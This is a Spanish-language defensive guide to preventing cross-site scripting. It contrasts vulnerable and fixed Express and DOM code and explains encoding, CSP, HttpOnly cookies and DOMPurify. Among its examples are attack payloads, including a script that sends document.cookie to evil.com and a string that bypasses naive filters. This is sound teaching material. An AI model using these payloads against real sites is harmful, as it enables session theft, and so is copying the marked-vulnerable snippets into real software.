Prevención de Cross-Site Scripting (XSS): Guía Completa
Cómo funcionan los ataques de cross-site scripting, los tres tipos de XSS y las defensas en profundidad que de verdad los previenen hoy.

El cross-site scripting (XSS) sigue siendo la vulnerabilidad web más común, y aparece en aproximadamente el 40 % de las aplicaciones web analizadas. Pese a llevar más de dos décadas siendo bien entendido, el XSS persiste porque el problema de fondo —mezclar datos de usuario con código— está integrado en la forma en que funciona la web. HTML, CSS y JavaScript comparten el mismo documento, y el navegador no puede distinguir entre el código que escribiste tú y el que inyectó un atacante.
La buena noticia: las estrategias modernas de defensa en profundidad hacen que explotar el XSS sea mucho más difícil. La mala noticia: necesitas todas, no basta con una sola.
Los tres tipos de XSS
Entender los tres vectores de ataque determina qué defensas aplicar.
XSS reflejado
El script proviene de la solicitud HTTP actual, normalmente un parámetro de la URL que se renderiza directamente en la página.
// ❌ Vulnerable — user input rendered as HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`);
// URL: /search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
});
// ✅ Safe — output encoding prevents script execution
import { encode } from 'html-entities';
app.get('/search', (req, res) => {
const query = encode(req.query.q as string);
res.send(`<h1>Results for: ${query}</h1>`);
// Renders: <script> — displayed as text, not executed
});XSS almacenado
El script queda almacenado en la base de datos y se sirve a otros usuarios. Las secciones de comentarios, los campos de perfil y las publicaciones de foros son objetivos clásicos.
// ❌ Stored XSS — malicious comment saved and rendered to all users
app.post('/comments', async (req, res) => {
await db.comments.create({ body: req.body.comment });
// If comment is: <img src=x onerror="stealCookies()">
// Every subsequent visitor executes the script
});
// ✅ Sanitize on input, encode on output
import DOMPurify from 'isomorphic-dompurify';
app.post('/comments', async (req, res) => {
const sanitized = DOMPurify.sanitize(req.body.comment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
await db.comments.create({ body: sanitized });
});XSS basado en el DOM
El script nunca llega al servidor. El JavaScript del lado del cliente lee una fuente controlada por el atacante (la URL, window.name, postMessage) y la escribe en el DOM.
// ❌ DOM XSS — reads hash, writes to innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.innerHTML = userInput;
// URL: page.html#<img src=x onerror=alert(1)>
// ✅ Safe — use textContent instead of innerHTML
const userInput = window.location.hash.substring(1);
document.getElementById('content')!.textContent = userInput;
// Text is inserted as text, never parsed as HTMLCodificación de salida
La defensa principal: codificar los datos del usuario según el contexto en el que aparecen. Cada contexto requiere una codificación distinta.
// Context-aware encoding — the output context determines the encoding
const encoders = {
// HTML context: <div>{userInput}</div>
html: (s: string) => s
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, '''),
// Attribute context: <div data-value="{userInput}">
attribute: (s: string) => s
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, '''),
// JavaScript context: var x = '{userInput}'
javascript: (s: string) => JSON.stringify(s),
// URL parameter context: /search?q={userInput}
url: (s: string) => encodeURIComponent(s),
};// ❌ Wrong context encoding — HTML encoding in a URL parameter
const link = `<a href="/search?q=${encoders.html(userInput)}">Search</a>`;
// XSS possible: userInput = "test" onmouseover="alert(1)"
// ✅ Correct context — URL encoding for URL parameter
const link = `<a href="/search?q=${encoders.url(userInput)}">Search</a>`;React, Vue y Angular codifican el HTML automáticamente en las expresiones interpoladas. Pero dangerouslySetInnerHTML, v-html y [innerHTML] evitan por completo esta protección: úsalos solo con contenido previamente sanitizado.
Content Security Policy
CSP es tu segunda línea de defensa. Le indica al navegador qué scripts tienen permiso para ejecutarse, de modo que los scripts inyectados queden neutralizados desde el principio.
// Express CSP middleware
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
`frame-ancestors 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
].join('; '));
next();
});<!-- Only scripts with the correct nonce execute -->
<script nonce="abc123">
// This executes — nonce matches
initApp();
</script>
<script>
// This is BLOCKED by CSP — no nonce
stealCookies();
</script>Empieza con Content-Security-Policy-Report-Only para monitorear las infracciones sin romper tu sitio y luego pasa al modo de aplicación forzosa:
// Report-only mode — logs violations without blocking
res.setHeader('Content-Security-Policy-Report-Only', [
`default-src 'self'`,
`script-src 'self'`,
`report-uri /api/csp-violations`,
].join('; '));
// Log CSP violations for analysis
app.post('/api/csp-violations', (req, res) => {
logger.warn('CSP violation', req.body);
res.status(204).send();
});Protección de cookies
Incluso si el XSS logra evadir tus otras defensas, las banderas de cookies adecuadas evitan el resultado más dañino: el secuestro de sesión.
// ❌ Cookies accessible to JavaScript — XSS can steal them
res.cookie('session', token, {
path: '/',
});
// ✅ Protected cookies — XSS cannot read or exfiltrate them
res.cookie('session', token, {
httpOnly: true, // Not accessible via document.cookie
secure: true, // Only sent over HTTPS
sameSite: 'lax', // Prevents CSRF
path: '/',
maxAge: 86400000, // 24 hours
});httpOnly es la bandera crítica. Sin ella, cualquier payload de XSS puede exfiltrar las cookies de sesión mediante document.cookie.
Sanitización de entradas
Cuando los usuarios necesitan enviar contenido enriquecido (Markdown, HTML), sanitízalo para permitir un formato seguro y eliminar los elementos peligrosos.
import DOMPurify from 'isomorphic-dompurify';
// ❌ Naive sanitization — easy to bypass
function naiveSanitize(html: string): string {
return html.replace(/<script>/gi, '').replace(/<\/script>/gi, '');
// Bypassed by: <scr<script>ipt>alert(1)</scr</script>ipt>
}
// ✅ Use a battle-tested sanitization library
function sanitizeUserContent(html: string): string {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: [
'h2', 'h3', 'p', 'a', 'ul', 'ol', 'li',
'strong', 'em', 'code', 'pre', 'blockquote', 'br',
],
ALLOWED_ATTR: ['href', 'class'],
ALLOW_DATA_ATTR: false,
});
}Nunca escribas tu propio sanitizador de HTML. La sanitización basada en expresiones regulares siempre se puede evadir. DOMPurify convierte el HTML en un árbol DOM y elimina los nodos peligrosos: un enfoque fundamentalmente más robusto.
Defensa en profundidad
Ninguna defensa por sí sola previene todo el XSS. Combínalas en capas:
| Defensa | Previene | Limitación |
|---|---|---|
| Codificación de salida | XSS reflejado y almacenado | Requiere el contexto correcto |
| CSP con nonces | Inyección de scripts inline | No evita el XSS basado en el DOM |
| Cookies HttpOnly | Robo de sesión vía XSS | Otros datos siguen siendo accesibles |
| Sanitización de entradas | XSS almacenado en contenido enriquecido | Solo para campos que permiten HTML |
| Autoescape del framework | La mayoría de las inyecciones de plantillas | Se puede evadir con métodos HTML directos |
Puntos clave
- Codifica la salida según el contexto — los contextos HTML, de atributo, de URL y de JavaScript requieren codificaciones distintas
- Implementa CSP con nonces — bloquea los scripts inyectados incluso cuando falta la codificación
- Activa HttpOnly en las cookies de sesión — evita el resultado más dañino del XSS (el secuestro de sesión)
- Usa DOMPurify para contenido enriquecido — nunca escribas tu propio sanitizador de HTML
- Evita innerHTML y dangerouslySetInnerHTML — usa textContent o la interpolación del framework en su lugar
- Combina las defensas en capas — ninguna técnica por sí sola previene todas las variantes de XSS


